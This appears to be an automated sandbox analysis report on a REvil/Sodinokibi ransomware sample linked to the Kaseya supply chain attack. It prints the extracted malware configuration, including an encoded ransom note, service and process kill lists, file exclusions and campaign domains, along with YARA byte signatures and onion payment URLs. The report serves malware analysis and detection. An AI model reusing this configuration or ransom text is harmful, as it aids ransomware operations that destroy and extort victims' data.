"LQAtAC0APQA9AD0AIABXAGUAbABjAG8AbQBlAC4AIABBAGcAYQBpAG4ALgAgAD0APQA9AC0ALQAtAA0ACgANAAoAWwAtAF0AIABXAGgAYQB0AHMAIABIAGEAcABQAGUAbgA/ACAAWwAtAF0ADQAKAA0ACgBZAG8AdQByACAAZgBpAGwAZQBzACAAYQByAGUAIABlAG4AYwByAHkAcAB0AGUAZAAsACAAYQBuAGQAIABjAHUAcgByAGUAbgB0AGwAeQAgAHUAbgBhAHYAYQBpAGwAYQBiAGwAZQAuACAAWQBvAHUAIABjAGEAbgAgAGMAaABlAGMAawAgAGkAdAA6ACAAYQBsAGwAIABmAGkAbABlAHMAIABvAG4AIAB5AG8AdQByACAAcwB5AHMAdABlAG0AIABoAGEAcwAgAGUAeAB0AGUAbgBzAGkAbwBuACAAewBFAFgAVAB9AC4ADQAKAEIAeQAgAHQAaABlACAAdwBhAHkALAAgAGUAdgBlAHIAeQB0AGgAaQBuAGcAIABpAHMAIABwAG8AcwBzAGkAYgBsAGUAIAB0AG8AIAByAGUAYwBvAHYAZQByACAAKAByAGUAcwB0AG8AcgBlACkALAAgAGIAdQB0ACAAeQBvAHUAIABuAGUAZQBkACAAdABvACAAZgBvAGwAbABvAHcAIABvAHUAcgAgAGkAbgBzAHQAcgB1AGMAdABpAG8AbgBzAC4AIABPAHQAaABlAHIAdwBpAHMAZQAsACAAeQBvAHUAIABjAGEAbgB0ACAAcgBlAHQAdQByAG4AIAB5AG8AdQByACAAZABhAHQAYQAgACgATgBFAFYARQBSACkALgANAAoADQAKAFsAKwBdACAAVwBoAGEAdAAgAGcAdQBhAHIAYQBuAHQAZQBlAHMAPwAgAFsAKwBdAA0ACgANAAoASQB0AHMAIABqAHUAcwB0ACAAYQAgAGIAdQBzAGkAbgBlAHMAcwAuACAAVwBlACAAYQBiAHMAbwBsAHUAdABlAGwAeQAgAGQAbwAgAG4AbwB0ACAAYwBhAHIAZQAgAGEAYgBvAHUAdAAgAHkAbwB1ACAAYQBuAGQAIAB5AG8AdQByACAAZABlAGEAbABzACwAIABlAHgAYwBlAHAAdAAgAGcAZQB0AHQAaQBuAGcAIABiAGUAbgBlAGYAaQB0AHMALgAgAEkAZgAgAHcAZQAgAGQAbwAgAG4AbwB0ACAAZABvACAAbwB1AHIAIAB3AG8AcgBrACAAYQBuAGQAIABsAGkAYQBiAGkAbABpAHQAaQBlAHMAIAAtACAAbgBvAGIAbwBkAHkAIAB3AGkAbABsACAAbgBvAHQAIABjAG8AbwBwAGUAcgBhAHQAZQAgAHcAaQB0AGgAIAB1AHMALgAgAEkAdABzACAAbgBvAHQAIABpAG4AIABvAHUAcgAgAGkAbgB0AGUAcgBlAHMAdABzAC4ADQAKAFQAbwAgAGMAaABlAGMAawAgAHQAaABlACAAYQBiAGkAbABpAHQAeQAgAG8AZgAgAHIAZQB0AHUAcgBuAGkAbgBnACAAZgBpAGwAZQBzACwAIABZAG8AdQAgAHMAaABvAHUAbABkACAAZwBvACAAdABvACAAbwB1AHIAIAB3AGUAYgBzAGkAdABlAC4AIABUAGgAZQByAGUAIAB5AG8AdQAgAGMAYQBuACAAZABlAGMAcgB5AHAAdAAgAG8AbgBlACAAZgBpAGwAZQAgAGYAbwByACAAZgByAGUAZQAuACAAVABoAGEAdAAgAGkAcwAgAG8AdQByACAAZwB1AGEAcgBhAG4AdABlAGUALgANAAoASQBmACAAeQBvAHUAIAB3AGkAbABsACAAbgBvAHQAIABjAG8AbwBwAGUAcgBhAHQAZQAgAHcAaQB0AGgAIABvAHUAcgAgAHMAZQByAHYAaQBjAGUAIAAtACAAZgBvAHIAIAB1AHMALAAgAGkAdABzACAAZABvAGUAcwAgAG4AbwB0ACAAbQBhAHQAdABlAHIALgAgAEIAdQB0ACAAeQBvAHUAIAB3AGkAbABsACAAbABvAHMAZQAgAHkAbwB1AHIAIAB0AGkAbQBlACAAYQBuAGQAIABkAGEAdABhACwAIABjAGEAdQBzAGUAIABqAHUAcwB0ACAAdwBlACAAaABhAHYAZQAgAHQAaABlACAAcAByAGkAdgBhAHQAZQAgAGsAZQB5AC4AIABJAG4AIABwAHIAYQBjAHQAaQBjAGUAIAAtACAAdABpAG0AZQAgAGkAcwAgAG0AdQBjAGgAIABtAG8AcgBlACAAdgBhAGwAdQBhAGIAbABlACAAdABoAGEAbgAgAG0AbwBuAGUAeQAuAA0ACgANAAoAWwArAF0AIABIAG8AdwAgAHQAbwAgAGcAZQB0ACAAYQBjAGMAZQBzAHMAIABvAG4AIAB3AGUAYgBzAGkAdABlAD8AIABbACsAXQANAAoADQAKAFkAbwB1ACAAaABhAHYAZQAgAHQAdwBvACAAdwBhAHkAcwA6AA0ACgANAAoAMQApACAAWwBSAGUAYwBvAG0AbQBlAG4AZABlAGQAXQAgAFUAcwBpAG4AZwAgAGEAIABUAE8AUgAgAGIAcgBvAHcAcwBlAHIAIQANAAoAIAAgAGEAKQAgAEQAbwB3AG4AbABvAGEAZAAgAGEAbgBkACAAaQBuAHMAdABhAGwAbAAgAFQATwBSACAAYgByAG8AdwBzAGUAcgAgAGYAcgBvAG0AIAB0AGgAaQBzACAAcwBpAHQAZQA6ACAAaAB0AHQAcABzADoALwAvAHQAbwByAHAAcgBvAGoAZQBjAHQALgBvAHIAZwAvAA0ACgAgACAAYgApACAATwBwAGUAbgAgAG8AdQByACAAdwBlAGIAcwBpAHQAZQA6ACAAaAB0AHQAcAA6AC8ALwBhAHAAbABlAGIAegB1ADQANwB3AGcAYQB6AGEAcABkAHEAawBzADYAdgByAGMAdgA2AHoAYwBuAGoAcABwAGsAYgB4AGIAcgA2AHcAawBlAHQAZgA1ADYAbgBmADYAYQBxADIAbgBtAHkAbwB5AGQALgBvAG4AaQBvAG4ALwB7AFUASQBEAH0ADQAKAA0ACgAyACkAIABJAGYAIABUAE8AUgAgAGIAbABvAGMAawBlAGQAIABpAG4AIAB5AG8AdQByACAAYwBvAHUAbgB0AHIAeQAsACAAdAByAHkAIAB0AG8AIAB1AHMAZQAgAFYAUABOACEAIABCAHUAdAAgAHkAbwB1ACAAYwBhAG4AIAB1AHMAZQAgAG8AdQByACAAcwBlAGMAbwBuAGQAYQByAHkAIAB3AGUAYgBzAGkAdABlAC4AIABGAG8AcgAgAHQAaABpAHMAOgANAAoAIAAgAGEAKQAgAE8AcABlAG4AIAB5AG8AdQByACAAYQBuAHkAIABiAHIAbwB3AHMAZQByACAAKABDAGgAcgBvAG0AZQAsACAARgBpAHIAZQBmAG8AeAAsACAATwBwAGUAcgBhACwAIABJAEUALAAgAEUAZABnAGUAKQANAAoAIAAgAGIAKQAgAE8AcABlAG4AIABvAHUAcgAgAHMAZQBjAG8AbgBkAGEAcgB5ACAAdwBlAGIAcwBpAHQAZQA6ACAAaAB0AHQAcAA6AC8ALwBkAGUAYwBvAGQAZQByAC4AcgBlAC8AewBVAEkARAB9AA0ACgANAAoAVwBhAHIAbgBpAG4AZwA6ACAAcwBlAGMAbwBuAGQAYQByAHkAIAB3AGUAYgBzAGkAdABlACAAYwBhAG4AIABiAGUAIABiAGwAbwBjAGsAZQBkACwAIAB0AGgAYQB0AHMAIAB3AGgAeQAgAGYAaQByAHMAdAAgAHYAYQByAGkAYQBuAHQAIABtAHUAYwBoACAAYgBlAHQAdABlAHIAIABhAG4AZAAgAG0AbwByAGUAIABhAHYAYQBpAGwAYQBiAGwAZQAuAA0ACgANAAoAVwBoAGUAbgAgAHkAbwB1ACAAbwBwAGUAbgAgAG8AdQByACAAdwBlAGIAcwBpAHQAZQAsACAAcAB1AHQAIAB0AGgAZQAgAGYAbwBsAGwAbwB3AGkAbgBnACAAZABhAHQAYQAgAGkAbgAgAHQAaABlACAAaQBuAHAAdQB0ACAAZgBvAHIAbQA6AA0ACgBLAGUAeQA6AA0ACgANAAoADQAKAHsASwBFAFkAfQANAAoADQAKAA0ACgAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ADQAKAA0ACgAhACEAIQAgAEQAQQBOAEcARQBSACAAIQAhACEADQAKAEQATwBOACcAVAAgAHQAcgB5ACAAdABvACAAYwBoAGEAbgBnAGUAIABmAGkAbABlAHMAIABiAHkAIAB5AG8AdQByAHMAZQBsAGYALAAgAEQATwBOACcAVAAgAHUAcwBlACAAYQBuAHkAIAB0AGgAaQByAGQAIABwAGEAcgB0AHkAIABzAG8AZgB0AHcAYQByAGUAIABmAG8AcgAgAHIAZQBzAHQAbwByAGkAbgBnACAAeQBvAHUAcgAgAGQAYQB0AGEAIABvAHIAIABhAG4AdABpAHYAaQByAHUAcwAgAHMAbwBsAHUAdABpAG8AbgBzACAALQAgAGkAdABzACAAbQBhAHkAIABlAG4AdABhAGkAbAAgAGQAYQBtAGEAZwBlACAAbwBmACAAdABoAGUAIABwAHIAaQB2AGEAdABlACAAawBlAHkAIABhAG4AZAAsACAAYQBzACAAcgBlAHMAdQBsAHQALAAgAFQAaABlACAATABvAHMAcwAgAGEAbABsACAAZABhAHQAYQAuAA0ACgAhACEAIQAgACEAIQAhACAAIQAhACEADQAKAE8ATgBFACAATQBPAFIARQAgAFQASQBNAEUAOgAgAEkAdABzACAAaQBuACAAeQBvAHUAcgAgAGkAbgB0AGUAcgBlAHMAdABzACAAdABvACAAZwBlAHQAIAB5AG8AdQByACAAZgBpAGwAZQBzACAAYgBhAGMAawAuACAARgByAG8AbQAgAG8AdQByACAAcwBpAGQAZQAsACAAdwBlACAAKAB0AGgAZQAgAGIAZQBzAHQAIABzAHAAZQBjAGkAYQBsAGkAcwB0AHMAKQAgAG0AYQBrAGUAIABlAHYAZQByAHkAdABoAGkAbgBnACAAZgBvAHIAIAByAGUAcwB0AG8AcgBpAG4AZwAsACAAYgB1AHQAIABwAGwAZQBhAHMAZQAgAHMAaABvAHUAbABkACAAbgBvAHQAIABpAG4AdABlAHIAZgBlAHIAZQAuAA0ACgAhACEAIQAgACEAIQAhACAAIQAhACEAAAA=", "et": 0, "wipe": true, "wfld": ["backup"], "rdmcnt": 0, "nname": "{EXT}-readme.txt", "pk": "9/AgyLvWEviWbvuayR2k0Q140e9LZJ5hwrmto/zCyFM=", "net": false, "exp": false, "arn": false}

Yara Overview

Dropped Files

SourceRuleDescriptionAuthorStrings
C:\Windows\mpsvc.dllAPT_MAL_REvil_Kaseya_Jul21_2Detects malware used in the Kaseya supply chain attackFlorian Roth
  • 0x52a:$opa1: 8B 4D FC 83 C1 01 89 4D FC 81 7D F0 FF 00 00 00 77 1F BA 01 00 00 00 6B C2 00 8B 4D 08
  • 0x527:$opa2: 89 45 F0 8B 4D FC 83 C1 01 89 4D FC 81 7D F0 FF 00 00 00 77 1F BA 01 00 00 00 6B C2 00
  • 0x52d:$opa3: 83 C1 01 89 4D FC 81 7D F0 FF 00 00 00 77 1F BA 01 00 00 00 6B C2 00 8B 4D 08 0F B6 14 01
  • 0x4e9:$opa4: 89 45 F4 8B 0D 10 20 07 10 89 4D F8 8B 15 48 21 07 10 89 55 FC FF 75 FC FF 75 F8 FF 55 F4
  • 0xd7d:$opb1: 18 00 10 BD 18 00 10 BD 18 00 10 0E 19 00 10 CC CC CC
  • 0xd85:$opb2: 18 00 10 0E 19 00 10 CC CC CC CC 8B 44 24 04
  • 0xd7b:$opb3: 10 C4 18 00 10 BD 18 00 10 BD 18 00 10 0E 19 00 10 CC CC
C:\Users\user\Desktop\agent.exeAPT_MAL_REvil_Kaseya_Jul21_2Detects malware used in the Kaseya supply chain attackFlorian Roth
  • 0x176ba:$opa1: 8B 4D FC 83 C1 01 89 4D FC 81 7D F0 FF 00 00 00 77 1F BA 01 00 00 00 6B C2 00 8B 4D 08
  • 0x176b7:$opa2: 89 45 F0 8B 4D FC 83 C1 01 89 4D FC 81 7D F0 FF 00 00 00 77 1F BA 01 00 00 00 6B C2 00
  • 0x176bd:$opa3: 83 C1 01 89 4D FC 81 7D F0 FF 00 00 00 77 1F BA 01 00 00 00 6B C2 00 8B 4D 08 0F B6 14 01
  • 0x17679:$opa4: 89 45 F4 8B 0D 10 20 07 10 89 4D F8 8B 15 48 21 07 10 89 55 FC FF 75 FC FF 75 F8 FF 55 F4
  • 0x17f0d:$opb1: 18 00 10 BD 18 00 10 BD 18 00 10 0E 19 00 10 CC CC CC
  • 0x17f15:$opb2: 18 00 10 0E 19 00 10 CC CC CC CC 8B 44 24 04
  • 0x17f0b:$opb3: 10 C4 18 00 10 BD 18 00 10 BD 18 00 10 0E 19 00 10 CC CC

Memory Dumps

SourceRuleDescriptionAuthorStrings
0000000C.00000002.812150385.0000000000BC0000.00000040.00000001.sdmpMAL_RANSOM_REvil_Oct20_1Detects REvil ransomwareFlorian Roth
  • 0x5cab:$op1: 0F 8C 74 FF FF FF 33 C0 5F 5E 5B 8B E5 5D C3 8B
  • 0xad3f:$op2: 8D 85 68 FF FF FF 50 E8 2A FE FF FF 8D 85 68 FF
  • 0xb32b:$op3: 89 4D F4 8B 4E 0C 33 4E 34 33 4E 5C 33 8E 84
  • 0xa564:$op4: 8D 85 68 FF FF FF 50 E8 05 06 00 00 8D 85 68 FF
  • 0xad2e:$op5: 8D 85 68 FF FF FF 56 57 FF 75 0C 50 E8 2F
0000000C.00000002.812727693.0000000001040000.00000040.00000001.sdmpMAL_RANSOM_REvil_Oct20_1Detects REvil ransomwareFlorian Roth
  • 0x61af:$op1: 0F 8C 74 FF FF FF 33 C0 5F 5E 5B 8B E5 5D C3 8B
  • 0xb243:$op2: 8D 85 68 FF FF FF 50 E8 2A FE FF FF 8D 85 68 FF
  • 0xb82f:$op3: 89 4D F4 8B 4E 0C 33 4E 34 33 4E 5C 33 8E 84
  • 0xaa68:$op4: 8D 85 68 FF FF FF 50 E8 05 06 00 00 8D 85 68 FF
  • 0xb232:$op5: 8D 85 68 FF FF FF 56 57 FF 75 0C 50 E8 2F
0000000C.00000003.652958039.00000000030E8000.00000004.00000040.sdmpJoeSecurity_SodinokibiYara detected Sodinokibi RansomwareJoe Security
    0000000C.00000003.653386601.00000000030E8000.00000004.00000040.sdmpJoeSecurity_SodinokibiYara detected Sodinokibi RansomwareJoe Security
      0000000C.00000003.653480881.00000000030E8000.00000004.00000040.sdmpJoeSecurity_SodinokibiYara detected Sodinokibi RansomwareJoe Security
        Click to see the 6 entries

        Sigma Overview

        No Sigma rule has matched

        Signature Overview

        Click to jump to signature section

        Show All Signature Results

        AV Detection:

        barindex
        Found malware configurationShow sources
        Source: MsMpEng.exe.5812.12.memstrMalware Configuration Extractor: Sodinokibi {"prc": ["encsvc", "powerpnt", "ocssd", "steam", "isqlplussvc", "outlook", "sql", "ocomm", "agntsvc", "mspub", "onenote", "winword", "thebat", "excel", "mydesktopqos", "ocautoupds", "thunderbird", "synctime", "infopath", "mydesktopservice", "firefox", "oracle", "sqbcoreservice", "dbeng50", "tbirdconfig", "msaccess", "visio", "dbsnmp", "wordpad", "xfssvccon"], "sub": "8254", "svc": ["veeam", "memtas", "sql", "backup", "vss", "sophos", "svc$", "mepocs"], "wht": {"ext": ["ps1", "ldf", "lock", "theme", "msi", "sys", "wpx", "cpl", "adv", "msc", "scr", "bat", "key", "ico", "dll", "hta", "deskthemepack", "nomedia", "msu", "rtp", "msp", "idx", "ani", "386", "diagcfg", "bin", "mod", "ics", "com", "hlp", "spl", "nls", "cab", "exe", "diagpkg", "icl", "ocx", "rom", "prf", "themepack", "msstyles", "lnk", "icns", "mpa", "drv", "cur", "diagcab", "cmd", "shs"], "fls": ["ntldr", "thumbs.db", "bootsect.bak", "autorun.inf", "ntuser.dat.log", "boot.ini", "iconcache.db", "bootfont.bin", "ntuser.dat", "ntuser.ini", "desktop.ini"], "fld": ["program files", "appdata", "mozilla", "$windows.~ws", "application data", "$windows.~bt", "google", "$recycle.bin", "windows.old", "programdata", "system volume information", "program files (x86)", "boot", "tor browser", "windows", "intel", "perflogs", "msocache"]}, "img": "QQBsAGwAIABvAGYAIAB5AG8AdQByACAAZgBpAGwAZQBzACAAYQByAGUAIABlAG4AYwByAHkAcAB0AGUAZAAhAA0ACgANAAoARgBpAG4AZAAgAHsARQBYAFQAfQAtAHIAZQBhAGQAbQBlAC4AdAB4AHQAIABhAG4AZAAgAGYAbwBsAGwAbwB3ACAAaQBuAHMAdAB1AGMAdABpAG8AbgBzAAAA", "dmn": "boisehosting.net;fotoideaymedia.es;dubnew.com;stallbyggen.se;koken-voor-baby.nl;juneauopioidworkgroup.org;vancouver-print.ca;zewatchers.com;bouquet-de-roses.com;seevilla-dr-sturm.at;olejack.ru;i-trust.dk;wasmachtmeinfonds.at;appsformacpc.com;friendsandbrgrs.com;thenewrejuveme.com;xn--singlebrsen-vergleich-nec.com;sabel-bf.com;seminoc.com;ceres.org.au;cursoporcelanatoliquido.online;marietteaernoudts.nl;tastewilliamsburg.com;charlottepoudroux-photographie.fr;aselbermachen.com;klimt2012.info;accountancywijchen.nl;creamery201.com;rerekatu.com;makeurvoiceheard.com;vannesteconstruct.be;wellplast.se;andersongilmour.co.uk;bradynursery.com;aarvorg.com;facettenreich27.de;balticdermatology.lt;artige.com;highlinesouthasc.com;crowd-patch.co.uk;sofavietxinh.com;jorgobe.at;danskretursystem.dk;higadograsoweb.com;supportsumba.nl;ruralarcoiris.com;projetlyonturin.fr;kidbucketlist.com.au;harpershologram.wordpress.com;ohidesign.com;international-sound-awards.com;krlosdavid.com;durganews.com;leather-factory.co.jp;coding-machine.com;i-arslan.de;caribbeansunpoker.com;mir-na-iznanku.com;ki-lowroermond.nl;promesapuertorico.com;kissit.ca;dezatec.es;cite4me.org;grelot-home.com;musictreehouse.net;hkr-reise.de;id-vet.com;gasolspecialisten.se;vyhino-zhulebino-24.ru;karacaoglu.nl;bayoga.co.uk;solhaug.tk;jadwalbolanet.info;ncid.bc.ca;bricotienda.com;boldcitydowntown.com;homecomingstudio.com;sojamindbody.com;castillobalduz.es;asgestion.com;dushka.ua;hiddencityse
        Source: Binary string: MsMpEng.pdb source: cert.exe, 00000009.00000002.632837299.0000010BDFBA0000.00000004.00000001.sdmp, agent.exe, 0000000B.00000000.648796036.0000000000E75000.00000002.00020000.sdmp, MsMpEng.exe, 0000000C.00000000.651893828.0000000000BE1000.00000020.00020000.sdmp, agent.exe.9.dr
        Source: Binary string: certutil.pdb source: cert.exe, 00000009.00000000.625173217.00007FF7EB9B9000.00000002.00020000.sdmp, cert.exe.0.dr
        Source: Binary string: certutil.pdbGCTL source: cert.exe, 00000009.00000000.625173217.00007FF7EB9B9000.00000002.00020000.sdmp, cert.exe.0.dr

        Networking:

        barindex
        Found Tor onion addressShow sources
        Source: MsMpEng.exe, 0000000C.00000002.828267298.000000000306C000.00000004.00000040.sdmpString found in binary or memory: b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/E878B8E092C2FC0A
        Source: MsMpEng.exe, 0000000C.00000003.652899612.000000000306C000.00000004.00000040.sdmpString found in binary or memory: b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/{UID}
        Uses ping.exe to check the status of other devices and networksShow sources
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 2
        Source: MsMpEng.exe, 0000000C.00000003.652899612.000000000306C000.00000004.00000040.sdmpString found in binary or memory: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/
        Source: MsMpEng.exe, 0000000C.00000002.828267298.000000000306C000.00000004.00000040.sdmpString found in binary or memory: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/E878B8E092C2FC0A
        Source: cert.exe, 00000009.00000002.632837299.0000010BDFBA0000.00000004.00000001.sdmp, agent.exe, 0000000B.00000000.648796036.0000000000E75000.00000002.00020000.sdmp, agent.exe.9.drString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
        Source: powershell.exe, 00000005.00000002.613654630.000001C0185D0000.00000004.00000001.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl0
        Source: powershell.exe, 00000005.00000002.613871511.000001C01867B000.00000004.00000001.sdmpString found in binary or memory: http://crl.m
        Source: powershell.exe, 00000005.00000002.615063400.000001C018B95000.00000004.00000001.sdmpString found in binary or memory: http://crl.osofts/Microt0
        Source: cert.exe, 00000009.00000002.632837299.0000010BDFBA0000.00000004.00000001.sdmp, agent.exe, 0000000B.00000000.648796036.0000000000E75000.00000002.00020000.sdmp, agent.exe.9.drString found in binary or memory: http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s
        Source: cert.exe, 00000009.00000002.632837299.0000010BDFBA0000.00000004.00000001.sdmp, agent.exe, 0000000B.00000000.648796036.0000000000E75000.00000002.00020000.sdmp, agent.exe.9.drString found in binary or memory: http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#
        Source: cert.exe, 00000009.00000000.625173217.00007FF7EB9B9000.00000002.00020000.sdmp, cert.exe.0.drString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/enDisallowedCertLastSyncTimePinR
        Source: MsMpEng.exe, 0000000C.00000003.652899612.000000000306C000.00000004.00000040.sdmpString found in binary or memory: http://decoder.re/
        Source: MsMpEng.exe, 0000000C.00000002.828267298.000000000306C000.00000004.00000040.sdmpString found in binary or memory: http://decoder.re/E878B8E092C2FC0A
        Source: powershell.exe, 00000005.00000002.608910164.000001C01017D000.00000004.00000001.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
        Source: cert.exe, 00000009.00000002.632837299.0000010BDFBA0000.00000004.00000001.sdmp, agent.exe, 0000000B.00000000.648796036.0000000000E75000.00000002.00020000.sdmp, agent.exe.9.drString found in binary or memory: http://ocsp.comodoca.com0
        Source: cert.exe, 00000009.00000002.632837299.0000010BDFBA0000.00000004.00000001.sdmp, agent.exe, 0000000B.00000000.648796036.0000000000E75000.00000002.00020000.sdmp, agent.exe.9.drString found in binary or memory: http://ocsp.sectigo.com0
        Source: powershell.exe, 00000005.00000002.583226208.000001C000327000.00000004.00000001.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
        Source: powershell.exe, 00000005.00000002.583226208.000001C000327000.00000004.00000001.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png(~.
        Source: powershell.exe, 00000005.00000002.583226208.000001C000327000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
        Source: powershell.exe, 00000005.00000002.582409009.000001C000121000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
        Source: powershell.exe, 00000005.00000002.583226208.000001C000327000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/wsdl/
        Source: powershell.exe, 00000005.00000002.583226208.000001C000327000.00000004.00000001.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
        Source: powershell.exe, 00000005.00000002.583226208.000001C000327000.00000004.00000001.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html(~.
        Source: cert.exe, 00000009.00000002.632837299.0000010BDFBA0000.00000004.00000001.sdmp, agent.exe, 0000000B.00000000.648796036.0000000000E75000.00000002.00020000.sdmp, MsMpEng.exe, 0000000C.00000002.829145668.000000006F342000.00000002.00020000.sdmp, agent.exe.9.drString found in binary or memory: http://www.openssl.org/support/faq.html
        Source: cert.exe, 00000009.00000000.625173217.00007FF7EB9B9000.00000002.00020000.sdmp, cert.exe.0.drString found in binary or memory: https://%ws/%ws_%ws_%ws/service.svc/%wsADPolicyProviderSCEP
        Source: powershell.exe, 00000005.00000002.608910164.000001C01017D000.00000004.00000001.sdmpString found in binary or memory: https://contoso.com/
        Source: powershell.exe, 00000005.00000002.608910164.000001C01017D000.00000004.00000001.sdmpString found in binary or memory: https://contoso.com/Icon
        Source: powershell.exe, 00000005.00000002.608910164.000001C01017D000.00000004.00000001.sdmpString found in binary or memory: https://contoso.com/License
        Source: powershell.exe, 00000005.00000002.583226208.000001C000327000.00000004.00000001.sdmpString found in binary or memory: https://github.com/Pester/Pester
        Source: powershell.exe, 00000005.00000002.583226208.000001C000327000.00000004.00000001.sdmpString found in binary or memory: https://github.com/Pester/Pester(~.
        Source: cert.exe, 00000009.00000000.625173217.00007FF7EB9B9000.00000002.00020000.sdmp, cert.exe.0.drString found in binary or memory: https://login.microsoftonline.com/%s/oauth2/authorizeStringCchPrintfWhttps://login.microsoftonline.c
        Source: powershell.exe, 00000005.00000002.608910164.000001C01017D000.00000004.00000001.sdmpString found in binary or memory: https://nuget.org/nuget.exe
        Source: cert.exe, 00000009.00000002.632837299.0000010BDFBA0000.00000004.00000001.sdmp, agent.exe, 0000000B.00000000.648796036.0000000000E75000.00000002.00020000.sdmp, agent.exe.9.drString found in binary or memory: https://sectigo.com/CPS0
        Source: MsMpEng.exe, 0000000C.00000002.828267298.000000000306C000.00000004.00000040.sdmpString found in binary or memory: https://torproject.org/

        Spam, unwanted Advertisements and Ransom Demands:

        barindex
        Yara detected Sodinokibi RansomwareShow sources
        Source: Yara matchFile source: 0000000C.00000003.652958039.00000000030E8000.00000004.00000040.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000C.00000003.653386601.00000000030E8000.00000004.00000040.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000C.00000003.653480881.00000000030E8000.00000004.00000040.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000C.00000003.653558487.00000000030E8000.00000004.00000040.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000C.00000003.653674850.00000000030E8000.00000004.00000040.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000C.00000003.653708573.00000000030E8000.00000004.00000040.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000C.00000003.653299473.00000000030E8000.00000004.00000040.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000C.00000003.653146778.00000000030E8000.00000004.00000040.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MsMpEng.exe PID: 5812, type: MEMORY
        Source: C:\Windows\System32\cmd.exeFile created: C:\Windows\cert.exeJump to behavior
        Source: agent.exe.9.drStatic PE information: Resource name: MODLIS type: ump; PE32 executable for MS Windows (DLL) (console) Intel 80386 32-bit
        Source: agent.exe.9.drStatic PE information: Resource name: SOFTIS type: ump; PE32 executable for MS Windows (GUI) Intel 80386 32-bit
        Source: cert.exe.0.drStatic PE information: Resource name: RT_ICON type: ump; GLS_BINARY_LSB_FIRST
        Source: 0000000C.00000002.812150385.0000000000BC0000.00000040.00000001.sdmp, type: MEMORYMatched rule: MAL_RANSOM_REvil_Oct20_1 date = 2020-10-13, hash4 = fc26288df74aa8046b4761f8478c52819e0fca478c1ab674da7e1d24e1cfa501, hash3 = f6857748c050655fb3c2192b52a3b0915f3f3708cd0a59bbf641d7dd722a804d, hash2 = f66027faea8c9e0ff29a31641e186cbed7073b52b43933ba36d61e8f6bce1ab5, hash1 = 5966c25dc1abcec9d8603b97919db57aac019e5358ee413957927d3c1790b7f4, author = Florian Roth, description = Detects REvil ransomware, reference = Internal Research
        Source: 0000000C.00000002.812727693.0000000001040000.00000040.00000001.sdmp, type: MEMORYMatched rule: MAL_RANSOM_REvil_Oct20_1 date = 2020-10-13, hash4 = fc26288df74aa8046b4761f8478c52819e0fca478c1ab674da7e1d24e1cfa501, hash3 = f6857748c050655fb3c2192b52a3b0915f3f3708cd0a59bbf641d7dd722a804d, hash2 = f66027faea8c9e0ff29a31641e186cbed7073b52b43933ba36d61e8f6bce1ab5, hash1 = 5966c25dc1abcec9d8603b97919db57aac019e5358ee413957927d3c1790b7f4, author = Florian Roth, description = Detects REvil ransomware, reference = Internal Research
        Source: C:\Windows\mpsvc.dll, type: DROPPEDMatched rule: APT_MAL_REvil_Kaseya_Jul21_2 date = 2021-07-02, hash5 = d8353cfc5e696d3ae402c7c70565c1e7f31e49bcf74a6e12e5ab044f306b4b20, hash4 = d5ce6f36a06b0dc8ce8e7e2c9a53e66094c2adfc93cfac61dd09efe9ac45a75f, hash3 = cc0cdc6a3d843e22c98170713abf1d6ae06e8b5e34ed06ac3159adafe85e3bd6, hash2 = 8dd620d9aeb35960bb766458c8890ede987c33d239cf730f93fe49d90ae759dd, hash1 = 0496ca57e387b10dfdac809de8a4e039f68e8d66535d5d19ec76d39f7d0a4402, author = Florian Roth, description = Detects malware used in the Kaseya supply chain attack, hash6 = e2a24ab94f865caeacdf2c3ad015f31f23008ac6db8312c2cbfb32e4a5466ea2, reference = https://doublepulsar.com/kaseya-supply-chain-attack-delivers-mass-ransomware-event-to-us-companies-76e4ec6ec64b
